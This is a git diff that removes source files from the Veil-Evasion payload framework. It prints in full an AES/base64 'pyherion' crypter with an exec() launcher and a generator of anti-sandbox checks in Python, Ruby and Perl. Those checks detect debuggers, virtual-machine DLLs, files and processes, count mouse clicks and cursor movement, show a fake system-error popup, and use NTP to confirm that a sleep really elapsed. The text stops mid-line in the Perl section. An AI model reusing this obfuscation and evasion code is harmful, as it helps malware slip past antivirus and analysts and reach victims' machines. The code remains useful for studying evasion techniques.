encryption_padding(sc_to_pad, padding_letter=4): - if padding_letter == 4: - padding_letter = random.choice(string.ascii_letters + string.digits + "{}!@#$^&()*&[]|,./?") - sc_to_pad = bytes(sc_to_pad, 'latin-1') - while len(sc_to_pad) % 16 != 0: - sc_to_pad += padding_letter.encode('latin-1') - return sc_to_pad - - -def known_plaintext(known_key, random_plaintext): - """ - Uses key passed in to encrypt a random string which is - used in a known plaintext attack to brute force its - own key - """ - aes_cipher_object = AES.new(known_key, AES.MODE_ECB) - random_plaintext = encryption_padding(random_plaintext, '*') - encrypted_text = aes_cipher_object.encrypt(random_plaintext) - encoded_ciphertext = base64.b64encode(encrypted_text) - - # return our encrypted known plaintext - return encoded_ciphertext - - -def pyherion(code): - """ - Generates a crypted hyperion'esque version of python code using - base64 and AES with a random key, wrapped in an exec() dynamic launcher. - - code = the python source code to encrypt - - Returns the encrypted python code as a string. - """ - - imports = list() - codebase = list() - - # strip out all imports from the code so pyinstaller can properly - # launch the code by preimporting everything at compiletime - for line in code.split("\n"): - if not line.startswith("#"): # ignore commented imports... - if "import" in line: - imports.append(line) - else: - codebase.append(line) - - # encrypt the input file (less the imports) - encrypted_code, key, iv = aes_encryption("\n".join(codebase), encryption_pad='{') - encrypted_code = encrypted_code.decode('ascii') - - # some random variable names - b64var = helpers.randomString() - aesvar = helpers.randomString() - - # randomize our base64 and AES importing variable - imports.append("from base64 import b64decode as " + b64var) - imports.append("from Crypto.Cipher import AES as " + aesvar) - - # shuffle up our imports - random.shuffle(imports) - - # add in the AES imports and any imports found in the file - crypted = ";".join(imports) + "\n" - - # the exec() launcher for our base64'ed encrypted string - to_be_encoded = "exec(" + aesvar + ".new(\"" + key + "\", " + aesvar + ".MODE_CBC, \"" + iv + "\").decrypt(" + b64var + "(\"" + encrypted_code + "\")).rstrip(b'{'))\n" - to_be_encoded = to_be_encoded.encode() - encoded_script = base64.b64encode(to_be_encoded).decode('ascii') - crypted += "exec(" + b64var + "(\"" + encoded_script + "\"))" - - return crypted diff --git a/Tools/Evasion/evasion_common/evasion_helpers.py b/Tools/Evasion/evasion_common/evasion_helpers.py deleted file mode 100644 index 48e658e..0000000 --- a/Tools/Evasion/evasion_common/evasion_helpers.py +++ /dev/null @@ -1,148 +0,0 @@ -""" -""" - -import base64 -import os -import random -import string -import subprocess -import sys -import textwrap -import zlib -from lib.common import helpers - - -# Try to find and import the settings.py config file -try: - sys.path.append("/etc/veil/") - import settings - -except ImportError: - print("\n [!] ERROR #1: Run %s\n" % (os.path.abspath("./config/update-config.py"))) - sys.exit() - - -def deflate(string_val): - """ - Compress/base64 encode a string. Used in powershell invokers. - """ - string_val = string_val.encode() - zlibbed_str = zlib.compress(string_val) - compressed_string = zlibbed_str[2:-4] - return base64.b64encode(compressed_string).decode('ascii') - - -def compileToTemp(language, payloadSource): - """ - Compiles payload code to a temporary location and returns the path. - """ - if language == "cs": - - tempExeName = settings.TEMP_DIR + "temp.exe" - tempSourceName = settings.TEMP_DIR + "temp.cs" - - # write out the payload source to the temporary location - with open(settings.TEMP_DIR + "temp.cs", 'w') as f: - f.write(payloadSource) - - # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run - os.system('mcs -platform:x86 -target:winexe ' + tempSourceName + ' -out:' + tempExeName) - return tempExeName - - -def expiring_payload_variables(): - # Expiring payload specific variables - RandToday = randomString() - RandExpire = randomString() - return RandToday, RandExpire - - -def format_long(title, message, frontTab=True, spacing=16): - """ - Print a long title:message with our standardized formatting. - Wraps multiple lines into a nice paragraph format. - """ - - lines = textwrap.wrap(textwrap.dedent(message).strip(), width=50) - returnString = "" - - i = 1 - if len(lines) > 0: - if frontTab: - returnString += "\t%s%s" % (('{0: <%s}' % spacing).format(title), lines[0]) - else: - returnString += " %s%s" % (('{0: <%s}' % (spacing-1)).format(title), lines[0]) - while i < len(lines): - if frontTab: - returnString += "\n\t" + ' ' * spacing + lines[i] - else: - returnString += "\n" + ' ' * spacing + lines[i] - i += 1 - return returnString - - -def inflate(b64string): - """ - Decode/decompress a base64 string. Used in powershell invokers. - """ - decoded_data = base64.b64decode(b64string) - return zlib.decompress(decoded_data, -15).encode('ascii') - - -def LHOST(): - """ - Return the IP of eth0 - """ - ip_output = subprocess.getoutput("/sbin/ifconfig eth0").split("\n")[1].split()[1] - if 'addr' in ip_output: - ip_output = ip_output[5:] - return ip_output - - -def obfuscateNum(N, mod): - """ - Take a number and modulus and return an obsucfated form. - Returns a string of the obfuscated number N - """ - d = random.randint(1, mod) - left = int(N / d) - right = d - remainder = N % d - return "(%s*%s+%s)" % (left, right, remainder) - - -def print_dict_message(commands, show_title=True): - if show_title: - title_screen() - - print(" Available Commands:\n") - - # list commands in sorted order - for (cmd, desc) in sorted(commands.items()): - print("\t%s\t%s" % ('{0: <12}'.format(cmd), desc)) - return - - -def randomString(length=-1): - """ - Returns a random string of "length" characters. - If no length is specified, resulting string is in - between 6 and 15 characters. - """ - if length == -1: - length = random.randrange(6, 16) - random_string = ''.join(random.choice(string.ascii_letters) for x in range(length)) - return random_string - - -def title_screen(): - """ - Print the framework title, with version. - """ - os.system('clear') - print('=' * 79) - print(' ' * 35 + helpers.color('Veil-Evasion', status=False, bold=True)) - print('=' * 79) - print(' [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework') - print('=' * 79 + '\n') - return diff --git a/Tools/Evasion/evasion_common/gamemaker.py b/Tools/Evasion/evasion_common/gamemaker.py deleted file mode 100644 index caf2dc9..0000000 --- a/Tools/Evasion/evasion_common/gamemaker.py +++ /dev/null @@ -1,1067 +0,0 @@ -""" -This file contains the payload sandbox checks for each respective language -""" - -from datetime import date -from datetime import timedelta -from tools.evasion.evasion_common import evasion_helpers - - -def senecas_games(evasion_payload): - # Start checks to determine language - # Define original values of variables - num_tabs_required = 0 - check_code = '' - - if evasion_payload.language == 'python': - if evasion_payload.required_options["EXPIRE_PAYLOAD"][0].lower() != "x": - - RandToday = evasion_helpers.randomString() - RandExpire = evasion_helpers.randomString() - - todaysdate = date.today() - expiredate = str(todaysdate + timedelta(days=int(evasion_payload.required_options["EXPIRE_PAYLOAD"][0]))) - - # Create Payload code - check_code += '\t' * num_tabs_required + 'from datetime import datetime\n' - check_code += '\t' * num_tabs_required + 'from datetime import date\n' - check_code += '\t' * num_tabs_required + RandToday + ' = datetime.now()\n' - check_code += '\t' * num_tabs_required + RandExpire + ' = datetime.strptime(\"' + expiredate[2:] + '\",\"%y-%m-%d\") \n' - check_code += '\t' * num_tabs_required + 'if ' + RandToday + ' < ' + RandExpire + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - rand_hostname = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import platform\n' - check_code += '\t' * num_tabs_required + rand_hostname + ' = platform.node()\n' - check_code += '\t' * num_tabs_required + 'if \"' + evasion_payload.required_options["HOSTNAME"][0].lower() + '\" in ' + rand_hostname + '.lower():\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - rand_domain = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import socket\n' - check_code += '\t' * num_tabs_required + rand_domain + ' = socket.getfqdn()\n' - check_code += '\t' * num_tabs_required + 'if \"' + evasion_payload.required_options["DOMAIN"][0].lower() + '\" in ' + rand_domain + '.lower():\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["PROCESSORS"][0].lower() != "x": - - rand_processor_count = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import multiprocessing\n' - check_code += '\t' * num_tabs_required + rand_processor_count + ' = multiprocessing.cpu_count()\n' - check_code += '\t' * num_tabs_required + 'if ' + rand_processor_count + ' >= ' + evasion_payload.required_options["PROCESSORS"][0] + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - rand_user_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import getpass\n' - check_code += '\t' * num_tabs_required + rand_user_name + ' = getpass.getuser()\n' - check_code += '\t' * num_tabs_required + 'if \'' + evasion_payload.required_options["USERNAME"][0].lower() + '\' in ' + rand_user_name + '.lower():\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DETECTDEBUG"][0].lower() != "false": - - is_debugger_present = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'from ctypes import *\n' - check_code += '\t' * num_tabs_required + is_debugger_present + ' = windll.kernel32.IsDebuggerPresent()\n' - check_code += '\t' * num_tabs_required + 'if ' + is_debugger_present + ' == 0:\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["VIRTUALDLLS"][0].lower() != "false": - - evidenceof_sandbox = evasion_helpers.randomString() - sandbox_dlls = evasion_helpers.randomString() - all_pids = evasion_helpers.randomString() - pid = evasion_helpers.randomString() - hProcess = evasion_helpers.randomString() - curProcessDLLs = evasion_helpers.randomString() - dll = evasion_helpers.randomString() - dll_name = evasion_helpers.randomString() - sandbox_dll = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import win32api\n' - check_code += '\t' * num_tabs_required + 'import win32process\n' - check_code += '\t' * num_tabs_required + evidenceof_sandbox + '= []\n' - # removed dbghelp.dll - check_code += '\t' * num_tabs_required + sandbox_dlls + ' = ["sbiedll.dll","api_log.dll","dir_watch.dll","pstorec.dll","vmcheck.dll","wpespy.dll"]\n' - check_code += '\t' * num_tabs_required + all_pids + '= win32process.EnumProcesses()\n' - check_code += '\t' * num_tabs_required + 'for ' + pid + ' in ' + all_pids + ':\n' - check_code += '\t' * num_tabs_required + '\ttry:\n' - check_code += '\t' * num_tabs_required + '\t\t' + hProcess + ' = win32api.OpenProcess(0x0410, 0, ' + pid + ')\n' - check_code += '\t' * num_tabs_required + '\t\ttry:\n' - check_code += '\t' * num_tabs_required + '\t\t\t' + curProcessDLLs + '= win32process.EnumProcessModules(' + hProcess + ')\n' - check_code += '\t' * num_tabs_required + '\t\t\tfor ' + dll + ' in ' + curProcessDLLs + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t' + dll_name + '= str(win32process.GetModuleFileNameEx(' + hProcess + ', ' + dll + ')).lower()\n' - check_code += '\t' * num_tabs_required + '\t\t\t\tfor ' + sandbox_dll + ' in '+ sandbox_dlls + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t\tif ' + sandbox_dll + ' in ' + dll_name + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t\t\tif ' + dll_name + ' not in ' + evidenceof_sandbox + ':\n' - check_code += '\t' * num_tabs_required + '\t\t\t\t\t\t\t' + evidenceof_sandbox + '.append(' + dll_name + ')\n' - check_code += '\t' * num_tabs_required + '\t\tfinally:\n' - check_code += '\t' * num_tabs_required + '\t\t\twin32api.CloseHandle(' + pid + ')\n' - check_code += '\t' * num_tabs_required + '\texcept:\n' - check_code += '\t' * num_tabs_required + '\t\tpass\n' - check_code += '\t' * num_tabs_required + 'if not ' + evidenceof_sandbox + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["MINRAM"][0].lower() != "false": - - class_name = evasion_helpers.randomString() - field_name = evasion_helpers.randomString() - memory_status = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import ctypes\n' - check_code += '\t' * num_tabs_required + 'class ' + class_name + ' (ctypes.Structure):\n' - check_code += '\t' * num_tabs_required + '\t_fields_ = [\n' - check_code += '\t' * num_tabs_required + '\t\t("dwLength", ctypes.c_ulong),\n' - check_code += '\t' * num_tabs_required + '\t\t("dwMemoryLoad", ctypes.c_ulong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullTotalPhys", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullAvailPhys", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullTotalPageFile", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullAvailPageFile", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullTotalVirtual", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("ullAvailVirtual", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t\t("sullAvailExtendedVirtual", ctypes.c_ulonglong),\n' - check_code += '\t' * num_tabs_required + '\t]\n' - check_code += '\t' * num_tabs_required + memory_status + ' = ' + class_name + '()\n' - check_code += '\t' * num_tabs_required + memory_status + '.dwLength = ctypes.sizeof(' + class_name + ')\n' - check_code += '\t' * num_tabs_required + 'ctypes.windll.kernel32.GlobalMemoryStatusEx(ctypes.byref(' + memory_status + '))\n' - check_code += '\t' * num_tabs_required + 'if ' + memory_status + '.ullTotalPhys/1073741824 > 3:\n' - - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["CLICKTRACK"][0].lower() != "x": - - rand_counter = evasion_helpers.randomString() - minimum_clicks = evasion_helpers.randomString() - left_click = evasion_helpers.randomString() - right_click = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import win32api\n' - check_code += '\t' * num_tabs_required + rand_counter + " = 0\n" - check_code += '\t' * num_tabs_required + minimum_clicks + " = " + evasion_payload.required_options["CLICKTRACK"][0] + "\n" - check_code += '\t' * num_tabs_required + 'while ' + rand_counter + ' < ' + minimum_clicks + ':\n' - check_code += '\t' * num_tabs_required + '\t' + left_click + ' = win32api.GetAsyncKeyState(1)\n' - check_code += '\t' * num_tabs_required + '\t' + right_click + ' = win32api.GetAsyncKeyState(2)\n' - check_code += '\t' * num_tabs_required + '\t' + 'if ' + left_click + ' % 2 == 1:\n' - check_code += '\t' * num_tabs_required + '\t\t' + rand_counter + ' += 1\n' - check_code += '\t' * num_tabs_required + '\t' + 'if ' + right_click + ' % 2 == 1:\n' - check_code += '\t' * num_tabs_required + '\t\t' + rand_counter + ' += 1\n' - check_code += '\t' * num_tabs_required + 'if ' + rand_counter + ' >= ' + minimum_clicks + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["VIRTUALFILES"][0].lower() != "false": - - vmfiles_exist = evasion_helpers.randomString() - files_tocheck = evasion_helpers.randomString() - file_path = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import os\n' - check_code += '\t' * num_tabs_required + vmfiles_exist + ' = []\n' - check_code += '\t' * num_tabs_required + files_tocheck + " = [r'C:\windows\Sysnative\Drivers\Vmmouse.sys', r'C:\windows\Sysnative\Drivers\vm3dgl.dll', r'C:\windows\Sysnative\Drivers\vmdum.dll', r'C:\windows\Sysnative\Drivers\vm3dver.dll', r'C:\windows\Sysnative\Drivers\vmtray.dll', r'C:\windows\Sysnative\Drivers\vmci.sys', r'C:\windows\Sysnative\Drivers\vmusbmouse.sys', r'C:\windows\Sysnative\Drivers\vmx_svga.sys', r'C:\windows\Sysnative\Drivers\vmxnet.sys', r'C:\windows\Sysnative\Drivers\VMToolsHook.dll', r'C:\windows\Sysnative\Drivers\vmhgfs.dll', r'C:\windows\Sysnative\Drivers\vmmousever.dll', r'C:\windows\Sysnative\Drivers\vmGuestLib.dll', r'C:\windows\Sysnative\Drivers\VmGuestLibJava.dll', r'C:\windows\Sysnative\Drivers\vmscsi.sys', r'C:\windows\Sysnative\Drivers\VBoxMouse.sys', r'C:\windows\Sysnative\Drivers\VBoxGuest.sys', r'C:\windows\Sysnative\Drivers\VBoxSF.sys', r'C:\windows\Sysnative\Drivers\VBoxVideo.sys', r'C:\windows\Sysnative\vboxdisp.dll', r'C:\windows\Sysnative\vboxhook.dll', r'C:\windows\Sysnative\vboxmrxnp.dll', r'C:\windows\Sysnative\vboxogl.dll', r'C:\windows\Sysnative\vboxoglarrayspu.dll', r'C:\windows\Sysnative\vboxoglcrutil.dll', r'C:\windows\Sysnative\vboxoglerrorspu.dll', r'C:\windows\Sysnative\vboxoglfeedbackspu.dll', r'C:\windows\Sysnative\vboxoglpackspu.dll', r'C:\windows\Sysnative\vboxoglpassthroughspu.dll', r'C:\windows\Sysnative\vboxservice.exe', r'C:\windows\Sysnative\vboxtray.exe', r'C:\windows\Sysnative\VBoxControl.exe']" - check_code += '\t' * num_tabs_required + 'for ' + file_path + ' in ' + files_tocheck + ':\n' - check_code += '\t' * num_tabs_required + '\tif os.path.isfile(' + file_path + '):\n' - check_code += '\t' * num_tabs_required + '\t\t' + vmfiles_exist + '.append(' + file_path + ')' - check_code += '\t' * num_tabs_required + 'if not ' + vmfiles_exist + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["CURSORMOVEMENT"][0].lower() != "false": - - seconds = evasion_helpers.randomString() - x_position = evasion_helpers.randomString() - y_position = evasion_helpers.randomString() - x2_position = evasion_helpers.randomString() - y2_position = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'from time import sleep\n' - check_code += '\t' * num_tabs_required + 'import win32api\n' - check_code += '\t' * num_tabs_required + seconds + ' = 30\n' - check_code += '\t' * num_tabs_required + x_position + ', ' + y_position + ' = win32api.GetCursorPos()\n' - check_code += '\t' * num_tabs_required + 'sleep(30)\n' - check_code += '\t' * num_tabs_required + x2_position + ', ' + y2_position + ' = win32api.GetCursorPos()\n' - check_code += '\t' * num_tabs_required + 'if ' + x_position + ' - ' + x2_position + ' != 0 or ' + y_position + ' - ' + y2_position + ' != 0:\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != "false": - - popup_title = evasion_helpers.randomString() - popup_message = evasion_helpers.randomString() - message_box = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import ctypes\n' - check_code += '\t' * num_tabs_required + popup_title + ' = "System Error 0x18463832"\n' - check_code += '\t' * num_tabs_required + popup_message + ' = "Your system encountered an error, please click OK to proceed"\n' - check_code += '\t' * num_tabs_required + message_box + ' = ctypes.windll.user32.MessageBoxW\n' - check_code += '\t' * num_tabs_required + message_box + '(None, ' + popup_message + ', ' + popup_title + ', 0)\n' - check_code += '\t' * num_tabs_required + 'if True:\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SANDBOXPROCESS"][0].lower() != "false": - - sandbox_exist = evasion_helpers.randomString() - bad_procs = evasion_helpers.randomString() - current_processes = evasion_helpers.randomString() - process = evasion_helpers.randomString() - sandbox_proc = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import win32pdh\n' - check_code += '\t' * num_tabs_required + sandbox_exist + ' = []\n' - check_code += '\t' * num_tabs_required + bad_procs + ' = "vmsrvc", "tcpview", "wireshark", "visual basic", "fiddler", "vmware", "vbox", "process explorer", "autoit", "vboxtray", "vmtools", "vmrawdsk", "vmusbmouse", "vmvss", "vmscsi", "vmxnet", "vmx_svga", "vmmemctl", "df5serv", "vboxservice", "vmhgfs"\n' - check_code += '\t' * num_tabs_required + '_, ' + current_processes + ' = win32pdh.EnumObjectItems(None,None,\'process\', win32pdh.PERF_DETAIL_WIZARD)\n' - check_code += '\t' * num_tabs_required + 'for ' + process + ' in ' + current_processes + ':\n' - check_code += '\t' * num_tabs_required + '\tfor ' + sandbox_proc + ' in ' + bad_procs + ':\n' - check_code += '\t' * num_tabs_required + '\t\tif ' + sandbox_proc + ' in str(' + process + '.lower()):\n' - check_code += '\t' * num_tabs_required + '\t\t\t' + sandbox_exist + '.append(' + process + ')\n' - check_code += '\t' * num_tabs_required + '\t\t\tbreak\n' - check_code += '\t' * num_tabs_required + 'if not ' + sandbox_exist + ':\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["UTCCHECK"][0].lower() != "false": - - time_import = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'import time as ' + time_import + '\n' - check_code += '\t' * num_tabs_required + 'if ' + time_import + '.tzname[0] != "Coordinated Universal Time" and ' + time_import + '.tzname[1] != "Coordinated Universal Time":\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - rand_time_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'from time import sleep\n' - check_code += '\t' * num_tabs_required + 'from socket import AF_INET, SOCK_DGRAM\n' - check_code += '\t' * num_tabs_required + 'import sys\n' - check_code += '\t' * num_tabs_required + 'import datetime\n' - check_code += '\t' * num_tabs_required + 'import time\n' - check_code += '\t' * num_tabs_required + 'import socket\n' - check_code += '\t' * num_tabs_required + 'import struct\n' - check_code += '\t' * num_tabs_required + 'client = socket.socket(AF_INET, SOCK_DGRAM)\n' - check_code += '\t' * num_tabs_required + 'client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))\n' - check_code += '\t' * num_tabs_required + 'msg, address = client.recvfrom( 1024 )\n' - check_code += '\t' * num_tabs_required + rand_time_name + ' = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)\n' - check_code += '\t' * num_tabs_required + 'sleep(' + evasion_payload.required_options["SLEEP"][0] + ')\n' - check_code += '\t' * num_tabs_required + 'client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))\n' - check_code += '\t' * num_tabs_required + 'msg, address = client.recvfrom( 1024 )\n' - check_code += '\t' * num_tabs_required + 'if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - ' + rand_time_name + ').seconds >= ' + evasion_payload.required_options["SLEEP"][0] + '):\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'ruby': - - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - check_code += 'require \'socket\'\n' - check_code += 'hostname = Socket.gethostname.downcase\n' - check_code += 'if hostname[\"' + evasion_payload.required_options["HOSTNAME"][0].lower() + '\"]\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DOMAIN"][0].lower() != "x": - - check_code += 'require \'socket\'\n' - check_code += 'domain = Socket.gethostname.downcase\n' - check_code += 'if domain[\"' + evasion_payload.required_options["DOMAIN"][0].lower() + '\"]\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERNAME"][0].lower() != "x": - - check_code += 'name = ENV["USERNAME"].downcase\n' - check_code += 'if name[\"' + evasion_payload.required_options["USERNAME"][0].lower() + '\"]\n' - - # Add a tab for this check - num_tabs_required += 1 - - #if evasion_payload.required_options["DISKSIZE"][0].lower() != "x": - - # check_code += "require 'win32api'\n" - # check_code += 'minDiskSizeGB = 50\n' - # check_code += "GetDiskFreeSpaceEx = Win32API.new(\"kernel32\", \"GetDiskFreeSpaceEx\", ['P','P','P','P'], 'I')\n" - # check_code += 'diskSizeBytes = [0].pack("Q"); freeBytesAvail = [0].pack("Q"); totalFreeBytes = [0].pack("Q")\n' - # check_code += 'GetDiskFreeSpaceEx.call("C:", freeBytesAvail, diskSizeBytes, totalFreeBytes)\n' - # check_code += 'diskSizeGB = diskSizeBytes.unpack("Q").first / 1073741824.0\n' - # check_code += 'if diskSizeGB > minDiskSizeGB' - - # Add a tab for this check - # num_tabs_required += 1 - - #if evasion_payload.required_options["NUMPROCS"][0].lower() != "x": - # check_code += "require 'win32ole'\n" - # check_code += 'if (WIN32OLE.connect("winmgmts://").ExecQuery("SELECT NumberOfCores FROM Win32_Processor").to_enum.first.NumberOfCores >= ' + evasion_payload.required_options["NUMPROCS"][0] + ')\n' - - # Add a tab for this check - # num_tabs_required += 1 - - #if evasion_payload.required_options["MINRAM"][0].lower() != 'x': - - #if evasion_payload.required_options["USERPROMPT"][0].lower() != "x": - - ## title_bar = evasion_helpers.randomString() - # body_text = evasion_helpers.randomString() - # winapi_call = evasion_helpers.randomString() - - # check_code += 'require "Win32API"\n' - # check_code += title_bar + ' = "System Error Encountered"\n' - # check_code += body_text + ' = "Error encountered at address 0x41d3837f. Press OK to continue"\n' - # check_code += winapi_call + " = Win32API.new('user32', 'MessageBox',['L', 'P', 'P', 'L'],'I')\n" - # check_code += winapi_call + '.call(0,dialogBoxMessage,dialogBoxTitle,0)\n' - # check_code += 'if true\n' - - # Add a tab for this check - # num_tabs_required += 1 - - if evasion_payload.required_options["SLEEP"][0].lower() != "x": - - check_code += 'require \'socket\'\n' - check_code += 'ntp_msg = (["00011011"] + Array.new(47,1)).pack("B8 C47")\n' - check_code += 'sock = UDPSocket.new;sock.connect("us.pool.ntp.org", 123);sock.print ntp_msg;sock.flush;data,_ = sock.recvfrom(960);sock.close\n' - check_code += 'firstTime = Time.at(data.unpack("B319 B32 B32")[1].to_i(2) - 2208988800)\n' - check_code += 'sleep(' + evasion_payload.required_options["SLEEP"][0] + ')\n' - check_code += 'sock = UDPSocket.new;sock.connect("us.pool.ntp.org", 123);sock.print ntp_msg;sock.flush;data,_ = sock.recvfrom(960)\n' - check_code += 'if (Time.at(data.unpack("B319 B32 B32")[1].to_i(2) - 2208988800) - firstTime >= ' + evasion_payload.required_options["SLEEP"][0] + ')\n' - - # Add a tab for this check - num_tabs_required += 1 - - # Return check information - return check_code, num_tabs_required - - elif evasion_payload.language == 'perl': - if evasion_payload.required_options["HOSTNAME"][0].lower() != "x": - - rand_hostname = evasion_helpers.randomString() - check_code += '\t' * num_tabs_required + 'Use Sys::Hostname;\n' - check_code += '\t' * num_tabs_required + 'my $' + rand_hostname + ' = hostname;\n' - check_code += '\t' * num_tabs_required + 'if (index(lc($' + rand_hostname + '), lc(' + evasion_payload.required_options["HOSTNAME"][0] + ')) != -1){\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["USERPROMPT"][0].lower() != 'x': - - flags = evasion_helpers.randomString() - title_bar_prompt = evasion_helpers.randomString() - message_prompt = evasion_helpers.randomString() - msg_box = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32;\n' - check_code += '\t' * num_tabs_required + '$' + flags + ' = 0x0;\n' - check_code += '\t' * num_tabs_required + '$' + msg_box + ' = new Win32::API ( "user32", "MessageBox", [N, P, P, I], N );\n' - check_code += '\t' * num_tabs_required + '$' + msg_box + '->Call ( 0, "System error at 0x48d72ac3. Press OK to continue.", "System Error Encountered", $' + flags + ');' - check_code += '\t' * num_tabs_required + 'if (1) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["RAMSIZE"][0].lower() != 'x': - - wmi_cim = evasion_helpers.randomString() - total_ram = evasion_helpers.randomString() - subMem = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE qw(EVENTS HRESULT in);\n' - check_code += '\t' * num_tabs_required + 'my $' + wmi_cim + ' = Win32::OLE->GetObject("WINMGMTS://./root/CIMv2");\n' - check_code += '\t' * num_tabs_required + 'my $' + total_ram + ' = 0;\n' - check_code += '\t' * num_tabs_required + 'foreach my $' + subMem + ' (in($' + wmi_cim + '->InstancesOf("Win32_PhysicalMemory"))) {\n' - check_code += '\t' * num_tabs_required + '\t$' + total_ram + ' += $' + subMem + '->{Capacity};\n' - check_code += '\t' * num_tabs_required + '}\n' - check_code += '\t' * num_tabs_required + 'if ($' + total_ram + '/1073741824 > ' + evasion_payload.required_options["RAMSIZE"][0] + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["FILENAME"][0].lower() != 'x': - - expected_name = evasion_helpers.randomString() - actual_name = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use File::Basename;\n' - check_code += '\t' * num_tabs_required + 'my $' + expected_name + ' = "' + evasion_payload.required_options["FILENAME"][0].lower() + '";\n' - check_code += '\t' * num_tabs_required + 'my $' + actual_name + ' = basename($0);\n' - check_code += '\t' * num_tabs_required + 'if (index($' + actual_name + ', $' + expected_name + ') != -1) {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["NUMPROCS"][0].lower() != 'x': - - min_procs = evasion_helpers.randomString() - wmi_var = evasion_helpers.randomString() - total_procs = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' - check_code += '\t' * num_tabs_required + 'my $' + min_procs + ' = ' + evasion_payload.required_options["NUMPROCS"][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + wmi_var + ' = Win32::OLE->GetObject("winmgmts:\\\\\\\\localhost\\\\root\\\\CIMV2") or die;\n' - check_code += '\t' * num_tabs_required + 'my $' + total_procs + ' = $' + wmi_var + '->ExecQuery("SELECT * FROM Win32_Process")->{Count} or die;\n' - check_code += '\t' * num_tabs_required + 'if ($' + total_procs + ' > $' + min_procs + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["DISKSIZE"][0].lower() != 'x': - - min_disksize = evasion_helpers.randomString() - file_object = evasion_helpers.randomString() - real_disksize = evasion_helpers.randomString() - - check_code += '\t' * num_tabs_required + 'use Win32::OLE;\n' - check_code += '\t' * num_tabs_required + 'my $' + min_disksize + ' = ' + evasion_payload.required_options['DISKSIZE'][0] + ';\n' - check_code += '\t' * num_tabs_required + 'my $' + file_object + ' = Win32::OLE->CreateObject("Scripting.FileSystemObject");\n' - check_code += '\t' * num_tabs_required + 'my $' + real_disksize + ' = $' + file_object + '->GetDrive("C:")->{TotalSize}/1073741824.0;\n' - check_code += '\t' * num_tabs_required + 'if ($' + min_disksize + ' < $' + real_disksize + ') {\n' - - # Add a tab for this check - num_tabs_required += 1 - - if evasion_payload.required_options["NUMCLICKS"][0].lower() != 'x': - - perl_min_clicks = evasion_helpers.randomString() - perl_key_state = evasion_helpers.randomString() - click_count = evasion_helpers.randomString() - perl_leftclick = evasion_helpers.randomString() - perl_rightclick = 